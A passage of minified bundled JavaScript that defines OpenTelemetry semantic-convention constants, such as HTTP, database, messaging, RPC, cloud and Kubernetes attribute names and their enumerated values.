TT4.SEMATTRS_NET_HOST_CARRIER_MCC=CP4;TT4.SEMATTRS_NET_HOST_CARRIER_MNC=LP4;TT4.SEMATTRS_NET_HOST_CARRIER_ICC=RP4;TT4.SEMATTRS_PEER_SERVICE=yP4;TT4.SEMATTRS_ENDUSER_ID=IP4;TT4.SEMATTRS_ENDUSER_ROLE=SP4;TT4.SEMATTRS_ENDUSER_SCOPE=hP4;TT4.SEMATTRS_THREAD_ID=bP4;TT4.SEMATTRS_THREAD_NAME=xP4;TT4.SEMATTRS_CODE_FUNCTION=uP4;TT4.SEMATTRS_CODE_NAMESPACE=BP4;TT4.SEMATTRS_CODE_FILEPATH=mP4;TT4.SEMATTRS_CODE_LINENO=gP4;TT4.SEMATTRS_HTTP_METHOD=FP4;TT4.SEMATTRS_HTTP_URL=QP4;TT4.SEMATTRS_HTTP_TARGET=UP4;TT4.SEMATTRS_HTTP_HOST=pP4;TT4.SEMATTRS_HTTP_SCHEME=dP4;TT4.SEMATTRS_HTTP_STATUS_CODE=cP4;TT4.SEMATTRS_HTTP_FLAVOR=lP4;TT4.SEMATTRS_HTTP_USER_AGENT=iP4;TT4.SEMATTRS_HTTP_REQUEST_CONTENT_LENGTH=nP4;TT4.SEMATTRS_HTTP_REQUEST_CONTENT_LENGTH_UNCOMPRESSED=rP4;TT4.SEMATTRS_HTTP_RESPONSE_CONTENT_LENGTH=oP4;TT4.SEMATTRS_HTTP_RESPONSE_CONTENT_LENGTH_UNCOMPRESSED=aP4;TT4.SEMATTRS_HTTP_SERVER_NAME=sP4;TT4.SEMATTRS_HTTP_ROUTE=tP4;TT4.SEMATTRS_HTTP_CLIENT_IP=eP4;TT4.SEMATTRS_AWS_DYNAMODB_TABLE_NAMES=AV4;TT4.SEMATTRS_AWS_DYNAMODB_CONSUMED_CAPACITY=KV4;TT4.SEMATTRS_AWS_DYNAMODB_ITEM_COLLECTION_METRICS=qV4;TT4.SEMATTRS_AWS_DYNAMODB_PROVISIONED_READ_CAPACITY=YV4;TT4.SEMATTRS_AWS_DYNAMODB_PROVISIONED_WRITE_CAPACITY=zV4;TT4.SEMATTRS_AWS_DYNAMODB_CONSISTENT_READ=wV4;TT4.SEMATTRS_AWS_DYNAMODB_PROJECTION=HV4;TT4.SEMATTRS_AWS_DYNAMODB_LIMIT=JV4;TT4.SEMATTRS_AWS_DYNAMODB_ATTRIBUTES_TO_GET=OV4;TT4.SEMATTRS_AWS_DYNAMODB_INDEX_NAME=XV4;TT4.SEMATTRS_AWS_DYNAMODB_SELECT=$V4;TT4.SEMATTRS_AWS_DYNAMODB_GLOBAL_SECONDARY_INDEXES=_V4;TT4.SEMATTRS_AWS_DYNAMODB_LOCAL_SECONDARY_INDEXES=GV4;TT4.SEMATTRS_AWS_DYNAMODB_EXCLUSIVE_START_TABLE=ZV4;TT4.SEMATTRS_AWS_DYNAMODB_TABLE_COUNT=WV4;TT4.SEMATTRS_AWS_DYNAMODB_SCAN_FORWARD=DV4;TT4.SEMATTRS_AWS_DYNAMODB_SEGMENT=jV4;TT4.SEMATTRS_AWS_DYNAMODB_TOTAL_SEGMENTS=MV4;TT4.SEMATTRS_AWS_DYNAMODB_COUNT=PV4;TT4.SEMATTRS_AWS_DYNAMODB_SCANNED_COUNT=VV4;TT4.SEMATTRS_AWS_DYNAMODB_ATTRIBUTE_DEFINITIONS=fV4;TT4.SEMATTRS_AWS_DYNAMODB_GLOBAL_SECONDARY_INDEX_UPDATES=NV4;TT4.SEMATTRS_MESSAGING_SYSTEM=TV4;TT4.SEMATTRS_MESSAGING_DESTINATION=vV4;TT4.SEMATTRS_MESSAGING_DESTINATION_KIND=EV4;TT4.SEMATTRS_MESSAGING_TEMP_DESTINATION=kV4;TT4.SEMATTRS_MESSAGING_PROTOCOL=CV4;TT4.SEMATTRS_MESSAGING_PROTOCOL_VERSION=LV4;TT4.SEMATTRS_MESSAGING_URL=RV4;TT4.SEMATTRS_MESSAGING_MESSAGE_ID=yV4;TT4.SEMATTRS_MESSAGING_CONVERSATION_ID=IV4;TT4.SEMATTRS_MESSAGING_MESSAGE_PAYLOAD_SIZE_BYTES=SV4;TT4.SEMATTRS_MESSAGING_MESSAGE_PAYLOAD_COMPRESSED_SIZE_BYTES=hV4;TT4.SEMATTRS_MESSAGING_OPERATION=bV4;TT4.SEMATTRS_MESSAGING_CONSUMER_ID=xV4;TT4.SEMATTRS_MESSAGING_RABBITMQ_ROUTING_KEY=uV4;TT4.SEMATTRS_MESSAGING_KAFKA_MESSAGE_KEY=BV4;TT4.SEMATTRS_MESSAGING_KAFKA_CONSUMER_GROUP=mV4;TT4.SEMATTRS_MESSAGING_KAFKA_CLIENT_ID=gV4;TT4.SEMATTRS_MESSAGING_KAFKA_PARTITION=FV4;TT4.SEMATTRS_MESSAGING_KAFKA_TOMBSTONE=QV4;TT4.SEMATTRS_RPC_SYSTEM=UV4;TT4.SEMATTRS_RPC_SERVICE=pV4;TT4.SEMATTRS_RPC_METHOD=dV4;TT4.SEMATTRS_RPC_GRPC_STATUS_CODE=cV4;TT4.SEMATTRS_RPC_JSONRPC_VERSION=lV4;TT4.SEMATTRS_RPC_JSONRPC_REQUEST_ID=iV4;TT4.SEMATTRS_RPC_JSONRPC_ERROR_CODE=nV4;TT4.SEMATTRS_RPC_JSONRPC_ERROR_MESSAGE=rV4;TT4.SEMATTRS_MESSAGE_TYPE=oV4;TT4.SEMATTRS_MESSAGE_ID=aV4;TT4.SEMATTRS_MESSAGE_COMPRESSED_SIZE=sV4;TT4.SEMATTRS_MESSAGE_UNCOMPRESSED_SIZE=tV4;TT4.SemanticAttributes=(0,lk.createConstMap)([bM4,xM4,uM4,BM4,mM4,gM4,FM4,QM4,UM4,pM4,dM4,cM4,lM4,iM4,nM4,rM4,oM4,aM4,sM4,tM4,eM4,AP4,KP4,qP4,YP4,zP4,wP4,HP4,JP4,OP4,XP4,$P4,_P4,GP4,ZP4,WP4,DP4,jP4,MP4,PP4,VP4,fP4,NP4,TP4,vP4,EP4,kP4,CP4,LP4,RP4,yP4,IP4,SP4,hP4,bP4,xP4,uP4,BP4,mP4,gP4,FP4,QP4,UP4,pP4,dP4,cP4,lP4,iP4,nP4,rP4,oP4,aP4,sP4,tP4,eP4,AV4,KV4,qV4,YV4,zV4,wV4,HV4,JV4,OV4,XV4,$V4,_V4,GV4,ZV4,WV4,DV4,jV4,MV4,PV4,VV4,fV4,NV4,TV4,vV4,EV4,kV4,CV4,LV4,RV4,yV4,IV4,SV4,hV4,bV4,xV4,uV4,BV4,mV4,gV4,FV4,QV4,UV4,pV4,dV4,cV4,lV4,iV4,nV4,rV4,oV4,aV4,sV4,tV4]);var eV4="other_sql",Af4="mssql",Kf4="mysql",qf4="oracle",Yf4="db2",zf4="postgresql",wf4="redshift",Hf4="hive",Jf4="cloudscape",Of4="hsqldb",Xf4="progress",$f4="maxdb",_f4="hanadb",Gf4="ingres",Zf4="firstsql",Wf4="edb",Df4="cache",jf4="adabas",Mf4="firebird",Pf4="derby",Vf4="filemaker",ff4="informix",Nf4="instantdb",Tf4="interbase",vf4="mariadb",Ef4="netezza",kf4="pervasive",Cf4="pointbase",Lf4="sqlite",Rf4="sybase",yf4="teradata",If4="vertica",Sf4="h2",hf4="coldfusion",bf4="cassandra",xf4="hbase",uf4="mongodb",Bf4="redis",mf4="couchbase",gf4="couchdb",Ff4="cosmosdb",Qf4="dynamodb",Uf4="neo4j",pf4="geode",df4="elasticsearch",cf4="memcached",lf4="cockroachdb";TT4.DBSYSTEMVALUES_OTHER_SQL=eV4;TT4.DBSYSTEMVALUES_MSSQL=Af4;TT4.DBSYSTEMVALUES_MYSQL=Kf4;TT4.DBSYSTEMVALUES_ORACLE=qf4;TT4.DBSYSTEMVALUES_DB2=Yf4;TT4.DBSYSTEMVALUES_POSTGRESQL=zf4;TT4.DBSYSTEMVALUES_REDSHIFT=wf4;TT4.DBSYSTEMVALUES_HIVE=Hf4;TT4.DBSYSTEMVALUES_CLOUDSCAPE=Jf4;TT4.DBSYSTEMVALUES_HSQLDB=Of4;TT4.DBSYSTEMVALUES_PROGRESS=Xf4;TT4.DBSYSTEMVALUES_MAXDB=$f4;TT4.DBSYSTEMVALUES_HANADB=_f4;TT4.DBSYSTEMVALUES_INGRES=Gf4;TT4.DBSYSTEMVALUES_FIRSTSQL=Zf4;TT4.DBSYSTEMVALUES_EDB=Wf4;TT4.DBSYSTEMVALUES_CACHE=Df4;TT4.DBSYSTEMVALUES_ADABAS=jf4;TT4.DBSYSTEMVALUES_FIREBIRD=Mf4;TT4.DBSYSTEMVALUES_DERBY=Pf4;TT4.DBSYSTEMVALUES_FILEMAKER=Vf4;TT4.DBSYSTEMVALUES_INFORMIX=ff4;TT4.DBSYSTEMVALUES_INSTANTDB=Nf4;TT4.DBSYSTEMVALUES_INTERBASE=Tf4;TT4.DBSYSTEMVALUES_MARIADB=vf4;TT4.DBSYSTEMVALUES_NETEZZA=Ef4;TT4.DBSYSTEMVALUES_PERVASIVE=kf4;TT4.DBSYSTEMVALUES_POINTBASE=Cf4;TT4.DBSYSTEMVALUES_SQLITE=Lf4;TT4.DBSYSTEMVALUES_SYBASE=Rf4;TT4.DBSYSTEMVALUES_TERADATA=yf4;TT4.DBSYSTEMVALUES_VERTICA=If4;TT4.DBSYSTEMVALUES_H2=Sf4;TT4.DBSYSTEMVALUES_COLDFUSION=hf4;TT4.DBSYSTEMVALUES_CASSANDRA=bf4;TT4.DBSYSTEMVALUES_HBASE=xf4;TT4.DBSYSTEMVALUES_MONGODB=uf4;TT4.DBSYSTEMVALUES_REDIS=Bf4;TT4.DBSYSTEMVALUES_COUCHBASE=mf4;TT4.DBSYSTEMVALUES_COUCHDB=gf4;TT4.DBSYSTEMVALUES_COSMOSDB=Ff4;TT4.DBSYSTEMVALUES_DYNAMODB=Qf4;TT4.DBSYSTEMVALUES_NEO4J=Uf4;TT4.DBSYSTEMVALUES_GEODE=pf4;TT4.DBSYSTEMVALUES_ELASTICSEARCH=df4;TT4.DBSYSTEMVALUES_MEMCACHED=cf4;TT4.DBSYSTEMVALUES_COCKROACHDB=lf4;TT4.DbSystemValues=(0,lk.createConstMap)([eV4,Af4,Kf4,qf4,Yf4,zf4,wf4,Hf4,Jf4,Of4,Xf4,$f4,_f4,Gf4,Zf4,Wf4,Df4,jf4,Mf4,Pf4,Vf4,ff4,Nf4,Tf4,vf4,Ef4,kf4,Cf4,Lf4,Rf4,yf4,If4,Sf4,hf4,bf4,xf4,uf4,Bf4,mf4,gf4,Ff4,Qf4,Uf4,pf4,df4,cf4,lf4]);var if4="all",nf4="each_quorum",rf4="quorum",of4="local_quorum",af4="one",sf4="two",tf4="three",ef4="local_one",AN4="any",KN4="serial",qN4="local_serial";TT4.DBCASSANDRACONSISTENCYLEVELVALUES_ALL=if4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_EACH_QUORUM=nf4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_QUORUM=rf4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_LOCAL_QUORUM=of4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_ONE=af4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_TWO=sf4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_THREE=tf4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_LOCAL_ONE=ef4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_ANY=AN4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_SERIAL=KN4;TT4.DBCASSANDRACONSISTENCYLEVELVALUES_LOCAL_SERIAL=qN4;TT4.DbCassandraConsistencyLevelValues=(0,lk.createConstMap)([if4,nf4,rf4,of4,af4,sf4,tf4,ef4,AN4,KN4,qN4]);var YN4="datasource",zN4="http",wN4="pubsub",HN4="timer",JN4="other";TT4.FAASTRIGGERVALUES_DATASOURCE=YN4;TT4.FAASTRIGGERVALUES_HTTP=zN4;TT4.FAASTRIGGERVALUES_PUBSUB=wN4;TT4.FAASTRIGGERVALUES_TIMER=HN4;TT4.FAASTRIGGERVALUES_OTHER=JN4;TT4.FaasTriggerValues=(0,lk.createConstMap)([YN4,zN4,wN4,HN4,JN4]);var ON4="insert",XN4="edit",$N4="delete";TT4.FAASDOCUMENTOPERATIONVALUES_INSERT=ON4;TT4.FAASDOCUMENTOPERATIONVALUES_EDIT=XN4;TT4.FAASDOCUMENTOPERATIONVALUES_DELETE=$N4;TT4.FaasDocumentOperationValues=(0,lk.createConstMap)([ON4,XN4,$N4]);var _N4="alibaba_cloud",GN4="aws",ZN4="azure",WN4="gcp";TT4.FAASINVOKEDPROVIDERVALUES_ALIBABA_CLOUD=_N4;TT4.FAASINVOKEDPROVIDERVALUES_AWS=GN4;TT4.FAASINVOKEDPROVIDERVALUES_AZURE=ZN4;TT4.FAASINVOKEDPROVIDERVALUES_GCP=WN4;TT4.FaasInvokedProviderValues=(0,lk.createConstMap)([_N4,GN4,ZN4,WN4]);var DN4="ip_tcp",jN4="ip_udp",MN4="ip",PN4="unix",VN4="pipe",fN4="inproc",NN4="other";TT4.NETTRANSPORTVALUES_IP_TCP=DN4;TT4.NETTRANSPORTVALUES_IP_UDP=jN4;TT4.NETTRANSPORTVALUES_IP=MN4;TT4.NETTRANSPORTVALUES_UNIX=PN4;TT4.NETTRANSPORTVALUES_PIPE=VN4;TT4.NETTRANSPORTVALUES_INPROC=fN4;TT4.NETTRANSPORTVALUES_OTHER=NN4;TT4.NetTransportValues=(0,lk.createConstMap)([DN4,jN4,MN4,PN4,VN4,fN4,NN4]);var TN4="wifi",vN4="wired",EN4="cell",kN4="unavailable",CN4="unknown";TT4.NETHOSTCONNECTIONTYPEVALUES_WIFI=TN4;TT4.NETHOSTCONNECTIONTYPEVALUES_WIRED=vN4;TT4.NETHOSTCONNECTIONTYPEVALUES_CELL=EN4;TT4.NETHOSTCONNECTIONTYPEVALUES_UNAVAILABLE=kN4;TT4.NETHOSTCONNECTIONTYPEVALUES_UNKNOWN=CN4;TT4.NetHostConnectionTypeValues=(0,lk.createConstMap)([TN4,vN4,EN4,kN4,CN4]);var LN4="gprs",RN4="edge",yN4="umts",IN4="cdma",SN4="evdo_0",hN4="evdo_a",bN4="cdma2000_1xrtt",xN4="hsdpa",uN4="hsupa",BN4="hspa",mN4="iden",gN4="evdo_b",FN4="lte",QN4="ehrpd",UN4="hspap",pN4="gsm",dN4="td_scdma",cN4="iwlan",lN4="nr",iN4="nrnsa",nN4="lte_ca";TT4.NETHOSTCONNECTIONSUBTYPEVALUES_GPRS=LN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EDGE=RN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_UMTS=yN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_CDMA=IN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EVDO_0=SN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EVDO_A=hN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_CDMA2000_1XRTT=bN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_HSDPA=xN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_HSUPA=uN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_HSPA=BN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_IDEN=mN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EVDO_B=gN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_LTE=FN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EHRPD=QN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_HSPAP=UN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_GSM=pN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_TD_SCDMA=dN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_IWLAN=cN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_NR=lN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_NRNSA=iN4;TT4.NETHOSTCONNECTIONSUBTYPEVALUES_LTE_CA=nN4;TT4.NetHostConnectionSubtypeValues=(0,lk.createConstMap)([LN4,RN4,yN4,IN4,SN4,hN4,bN4,xN4,uN4,BN4,mN4,gN4,FN4,QN4,UN4,pN4,dN4,cN4,lN4,iN4,nN4]);var rN4="1.0",oN4="1.1",aN4="2.0",sN4="SPDY",tN4="QUIC";TT4.HTTPFLAVORVALUES_HTTP_1_0=rN4;TT4.HTTPFLAVORVALUES_HTTP_1_1=oN4;TT4.HTTPFLAVORVALUES_HTTP_2_0=aN4;TT4.HTTPFLAVORVALUES_SPDY=sN4;TT4.HTTPFLAVORVALUES_QUIC=tN4;TT4.HttpFlavorValues={HTTP_1_0:rN4,HTTP_1_1:oN4,HTTP_2_0:aN4,SPDY:sN4,QUIC:tN4};var eN4="queue",AT4="topic";TT4.MESSAGINGDESTINATIONKINDVALUES_QUEUE=eN4;TT4.MESSAGINGDESTINATIONKINDVALUES_TOPIC=AT4;TT4.MessagingDestinationKindValues=(0,lk.createConstMap)([eN4,AT4]);var KT4="receive",qT4="process";TT4.MESSAGINGOPERATIONVALUES_RECEIVE=KT4;TT4.MESSAGINGOPERATIONVALUES_PROCESS=qT4;TT4.MessagingOperationValues=(0,lk.createConstMap)([KT4,qT4]);var YT4=0,zT4=1,wT4=2,HT4=3,JT4=4,OT4=5,XT4=6,$T4=7,_T4=8,GT4=9,ZT4=10,WT4=11,DT4=12,jT4=13,MT4=14,PT4=15,VT4=16;TT4.RPCGRPCSTATUSCODEVALUES_OK=YT4;TT4.RPCGRPCSTATUSCODEVALUES_CANCELLED=zT4;TT4.RPCGRPCSTATUSCODEVALUES_UNKNOWN=wT4;TT4.RPCGRPCSTATUSCODEVALUES_INVALID_ARGUMENT=HT4;TT4.RPCGRPCSTATUSCODEVALUES_DEADLINE_EXCEEDED=JT4;TT4.RPCGRPCSTATUSCODEVALUES_NOT_FOUND=OT4;TT4.RPCGRPCSTATUSCODEVALUES_ALREADY_EXISTS=XT4;TT4.RPCGRPCSTATUSCODEVALUES_PERMISSION_DENIED=$T4;TT4.RPCGRPCSTATUSCODEVALUES_RESOURCE_EXHAUSTED=_T4;TT4.RPCGRPCSTATUSCODEVALUES_FAILED_PRECONDITION=GT4;TT4.RPCGRPCSTATUSCODEVALUES_ABORTED=ZT4;TT4.RPCGRPCSTATUSCODEVALUES_OUT_OF_RANGE=WT4;TT4.RPCGRPCSTATUSCODEVALUES_UNIMPLEMENTED=DT4;TT4.RPCGRPCSTATUSCODEVALUES_INTERNAL=jT4;TT4.RPCGRPCSTATUSCODEVALUES_UNAVAILABLE=MT4;TT4.RPCGRPCSTATUSCODEVALUES_DATA_LOSS=PT4;TT4.RPCGRPCSTATUSCODEVALUES_UNAUTHENTICATED=VT4;TT4.RpcGrpcStatusCodeValues={OK:YT4,CANCELLED:zT4,UNKNOWN:wT4,INVALID_ARGUMENT:HT4,DEADLINE_EXCEEDED:JT4,NOT_FOUND:OT4,ALREADY_EXISTS:XT4,PERMISSION_DENIED:$T4,RESOURCE_EXHAUSTED:_T4,FAILED_PRECONDITION:GT4,ABORTED:ZT4,OUT_OF_RANGE:WT4,UNIMPLEMENTED:DT4,INTERNAL:jT4,UNAVAILABLE:MT4,DATA_LOSS:PT4,UNAUTHENTICATED:VT4};var fT4="SENT",NT4="RECEIVED";TT4.MESSAGETYPEVALUES_SENT=fT4;TT4.MESSAGETYPEVALUES_RECEIVED=NT4;TT4.MessageTypeValues=(0,lk.createConstMap)([fT4,NT4])});var IT4=v((m4A)=>{var v29=m4A&&m4A.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),E29=m4A&&m4A.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))v29(K,A,q)};Object.defineProperty(m4A,"__esModule",{value:!0});E29(yT4(),m4A)});var wk4=v((Kk4)=>{Object.defineProperty(Kk4,"__esModule",{value:!0});Kk4.SEMRESATTRS_K8S_STATEFULSET_NAME=Kk4.SEMRESATTRS_K8S_STATEFULSET_UID=Kk4.SEMRESATTRS_K8S_DEPLOYMENT_NAME=Kk4.SEMRESATTRS_K8S_DEPLOYMENT_UID=Kk4.SEMRESATTRS_K8S_REPLICASET_NAME=Kk4.SEMRESATTRS_K8S_REPLICASET_UID=Kk4.SEMRESATTRS_K8S_CONTAINER_NAME=Kk4.SEMRESATTRS_K8S_POD_NAME=Kk4.SEMRESATTRS_K8S_POD_UID=Kk4.SEMRESATTRS_K8S_NAMESPACE_NAME=Kk4.SEMRESATTRS_K8S_NODE_UID=Kk4.SEMRESATTRS_K8S_NODE_NAME=Kk4.SEMRESATTRS_K8S_CLUSTER_NAME=Kk4.SEMRESATTRS_HOST_IMAGE_VERSION=Kk4.SEMRESATTRS_HOST_IMAGE_ID=Kk4.SEMRESATTRS_HOST_IMAGE_NAME=Kk4.SEMRESATTRS_HOST_ARCH=Kk4.SEMRESATTRS_HOST_TYPE=Kk4.SEMRESATTRS_HOST_NAME=Kk4.SEMRESATTRS_HOST_ID=Kk4.SEMRESATTRS_FAAS_MAX_MEMORY=Kk4.SEMRESATTRS_FAAS_INSTANCE=Kk4.SEMRESATTRS_FAAS_VERSION=Kk4.SEMRESATTRS_FAAS_ID=Kk4.SEMRESATTRS_FAAS_NAME=Kk4.SEMRESATTRS_DEVICE_MODEL_NAME=Kk4.SEMRESATTRS_DEVICE_MODEL_IDENTIFIER=Kk4.SEMRESATTRS_DEVICE_ID=Kk4.SEMRESATTRS_DEPLOYMENT_ENVIRONMENT=Kk4.SEMRESATTRS_CONTAINER_IMAGE_TAG=Kk4.SEMRESATTRS_CONTAINER_IMAGE_NAME=Kk4.SEMRESATTRS_CONTAINER_RUNTIME=Kk4.SEMRESATTRS_CONTAINER_ID=Kk4.SEMRESATTRS_CONTAINER_NAME=Kk4.SEMRESATTRS_AWS_LOG_STREAM_ARNS=Kk4.SEMRESATTRS_AWS_LOG_STREAM_NAMES=Kk4.SEMRESATTRS_AWS_LOG_GROUP_ARNS=Kk4.SEMRESATTRS_AWS_LOG_GROUP_NAMES=Kk4.SEMRESATTRS_AWS_EKS_CLUSTER_ARN=Kk4.SEMRESATTRS_AWS_ECS_TASK_REVISION=Kk4.SEMRESATTRS_AWS_ECS_TASK_FAMILY=Kk4.SEMRESATTRS_AWS_ECS_TASK_ARN=Kk4.SEMRESATTRS_AWS_ECS_LAUNCHTYPE=Kk4.SEMRESATTRS_AWS_ECS_CLUSTER_ARN=Kk4.SEMRESATTRS_AWS_ECS_CONTAINER_ARN=Kk4.SEMRESATTRS_CLOUD_PLATFORM=Kk4.SEMRESATTRS_CLOUD_AVAILABILITY_ZONE=Kk4.SEMRESATTRS_CLOUD_REGION=Kk4.SEMRESATTRS_CLOUD_ACCOUNT_ID=Kk4.SEMRESATTRS_CLOUD_PROVIDER=void 0;Kk4.CLOUDPLATFORMVALUES_GCP_COMPUTE_ENGINE=Kk4.CLOUDPLATFORMVALUES_AZURE_APP_SERVICE=Kk4.CLOUDPLATFORMVALUES_AZURE_FUNCTIONS=Kk4.CLOUDPLATFORMVALUES_AZURE_AKS=Kk4.CLOUDPLATFORMVALUES_AZURE_CONTAINER_INSTANCES=Kk4.CLOUDPLATFORMVALUES_AZURE_VM=Kk4.CLOUDPLATFORMVALUES_AWS_ELASTIC_BEANSTALK=Kk4.CLOUDPLATFORMVALUES_AWS_LAMBDA=Kk4.CLOUDPLATFORMVALUES_AWS_EKS=Kk4.CLOUDPLATFORMVALUES_AWS_ECS=Kk4.CLOUDPLATFORMVALUES_AWS_EC2=Kk4.CLOUDPLATFORMVALUES_ALIBABA_CLOUD_FC=Kk4.CLOUDPLATFORMVALUES_ALIBABA_CLOUD_ECS=Kk4.CloudProviderValues=Kk4.CLOUDPROVIDERVALUES_GCP=Kk4.CLOUDPROVIDERVALUES_AZURE=Kk4.CLOUDPROVIDERVALUES_AWS=Kk4.CLOUDPROVIDERVALUES_ALIBABA_CLOUD=Kk4.SemanticResourceAttributes=Kk4.SEMRESATTRS_WEBENGINE_DESCRIPTION=Kk4.SEMRESATTRS_WEBENGINE_VERSION=Kk4.SEMRESATTRS_WEBENGINE_NAME=Kk4.SEMRESATTRS_TELEMETRY_AUTO_VERSION=Kk4.SEMRESATTRS_TELEMETRY_SDK_VERSION=Kk4.SEMRESATTRS_TELEMETRY_SDK_LANGUAGE=Kk4.SEMRESATTRS_TELEMETRY_SDK_NAME=Kk4.SEMRESATTRS_SERVICE_VERSION=Kk4.SEMRESATTRS_SERVICE_INSTANCE_ID=Kk4.SEMRESATTRS_SERVICE_NAMESPACE=Kk4.SEMRESATTRS_SERVICE_NAME=Kk4.SEMRESATTRS_PROCESS_RUNTIME_DESCRIPTION=Kk4.SEMRESATTRS_PROCESS_RUNTIME_VERSION=Kk4.SEMRESATTRS_PROCESS_RUNTIME_NAME=Kk4.SEMRESATTRS_PROCESS_OWNER=Kk4.SEMRESATTRS_PROCESS_COMMAND_ARGS=Kk4.SEMRESATTRS_PROCESS_COMMAND_LINE=Kk4.SEMRESATTRS_PROCESS_COMMAND=Kk4.SEMRESATTRS_PROCESS_EXECUTABLE_PATH=Kk4.SEMRESATTRS_PROCESS_EXECUTABLE_NAME=Kk4.SEMRESATTRS_PROCESS_PID=Kk4.SEMRESATTRS_OS_VERSION=Kk4.SEMRESATTRS_OS_NAME=Kk4.SEMRESATTRS_OS_DESCRIPTION=Kk4.SEMRESATTRS_OS_TYPE=Kk4.SEMRESATTRS_K8S_CRONJOB_NAME=Kk4.SEMRESATTRS_K8S_CRONJOB_UID=Kk4.SEMRESATTRS_K8S_JOB_NAME=Kk4.SEMRESATTRS_K8S_JOB_UID=Kk4.SEMRESATTRS_K8S_DAEMONSET_NAME=Kk4.SEMRESATTRS_K8S_DAEMONSET_UID=void 0;Kk4.TelemetrySdkLanguageValues=Kk4.TELEMETRYSDKLANGUAGEVALUES_WEBJS=Kk4.TELEMETRYSDKLANGUAGEVALUES_RUBY=Kk4.TELEMETRYSDKLANGUAGEVALUES_PYTHON=Kk4.TELEMETRYSDKLANGUAGEVALUES_PHP=Kk4.TELEMETRYSDKLANGUAGEVALUES_NODEJS=Kk4.TELEMETRYSDKLANGUAGEVALUES_JAVA=Kk4.TELEMETRYSDKLANGUAGEVALUES_GO=Kk4.TELEMETRYSDKLANGUAGEVALUES_ERLANG=Kk4.TELEMETRYSDKLANGUAGEVALUES_DOTNET=Kk4.TELEMETRYSDKLANGUAGEVALUES_CPP=Kk4.OsTypeValues=Kk4.OSTYPEVALUES_Z_OS=Kk4.OSTYPEVALUES_SOLARIS=Kk4.OSTYPEVALUES_AIX=Kk4.OSTYPEVALUES_HPUX=Kk4.OSTYPEVALUES_DRAGONFLYBSD=Kk4.OSTYPEVALUES_OPENBSD=Kk4.OSTYPEVALUES_NETBSD=Kk4.OSTYPEVALUES_FREEBSD=Kk4.OSTYPEVALUES_DARWIN=Kk4.OSTYPEVALUES_LINUX=Kk4.OSTYPEVALUES_WINDOWS=Kk4.HostArchValues=Kk4.HOSTARCHVALUES_X86=Kk4.HOSTARCHVALUES_PPC64=Kk4.HOSTARCHVALUES_PPC32=Kk4.HOSTARCHVALUES_IA64=Kk4.HOSTARCHVALUES_ARM64=Kk4.HOSTARCHVALUES_ARM32=Kk4.HOSTARCHVALUES_AMD64=Kk4.AwsEcsLaunchtypeValues=Kk4.AWSECSLAUNCHTYPEVALUES_FARGATE=Kk4.AWSECSLAUNCHTYPEVALUES_EC2=Kk4.CloudPlatformValues=Kk4.CLOUDPLATFORMVALUES_GCP_APP_ENGINE=Kk4.CLOUDPLATFORMVALUES_GCP_CLOUD_FUNCTIONS=Kk4.CLOUDPLATFORMVALUES_GCP_KUBERNETES_ENGINE=Kk4.CLOUDPLATFORMVALUES_GCP_CLOUD_RUN=void 0;var g4A=t56(),ST4="cloud.provider",hT4="cloud.account.id",bT4="cloud.region",xT4="cloud.availability_zone",uT4="cloud.platform",BT4="aws.ecs.container.arn",mT4="aws.ecs.cluster.arn",gT4="aws.ecs.launchtype",FT4="aws.ecs.task.arn",QT4="aws.ecs.task.family",UT4="aws.ecs.task.revision",pT4="aws.eks.cluster.arn",dT4="aws.log.group.names",cT4="aws.log.group.arns",lT4="aws.log.stream.names",iT4="aws.log.stream.arns",nT4="container.name",rT4="container.id",oT4="container.runtime",aT4="container.image.name",sT4="container.image.tag",tT4="deployment.environment",eT4="device.id",Av4="device.model.identifier",Kv4="device.model.name",qv4="faas.name",Yv4="faas.id",zv4="faas.version",wv4="faas.instance",Hv4="faas.max_memory",Jv4="host.id",Ov4="host.name",Xv4="host.type",$v4="host.arch",_v4="host.image.name",Gv4="host.image.id",Zv4="host.image.version",Wv4="k8s.cluster.name",Dv4="k8s.node.name",jv4="k8s.node.uid",Mv4="k8s.namespace.name",Pv4="k8s.pod.uid",Vv4="k8s.pod.name",fv4="k8s.container.name",Nv4="k8s.replicaset.uid",Tv4="k8s.replicaset.name",vv4="k8s.deployment.uid",Ev4="k8s.deployment.name",kv4="k8s.statefulset.uid",Cv4="k8s.statefulset.name",Lv4="k8s.daemonset.uid",Rv4="k8s.daemonset.name",yv4="k8s.job.uid",Iv4="k8s.job.name",Sv4="k8s.cronjob.uid",hv4="k8s.cronjob.name",bv4="os.type",xv4="os.description",uv4="os.name",Bv4="os.version",mv4="process.pid",gv4="process.executable.na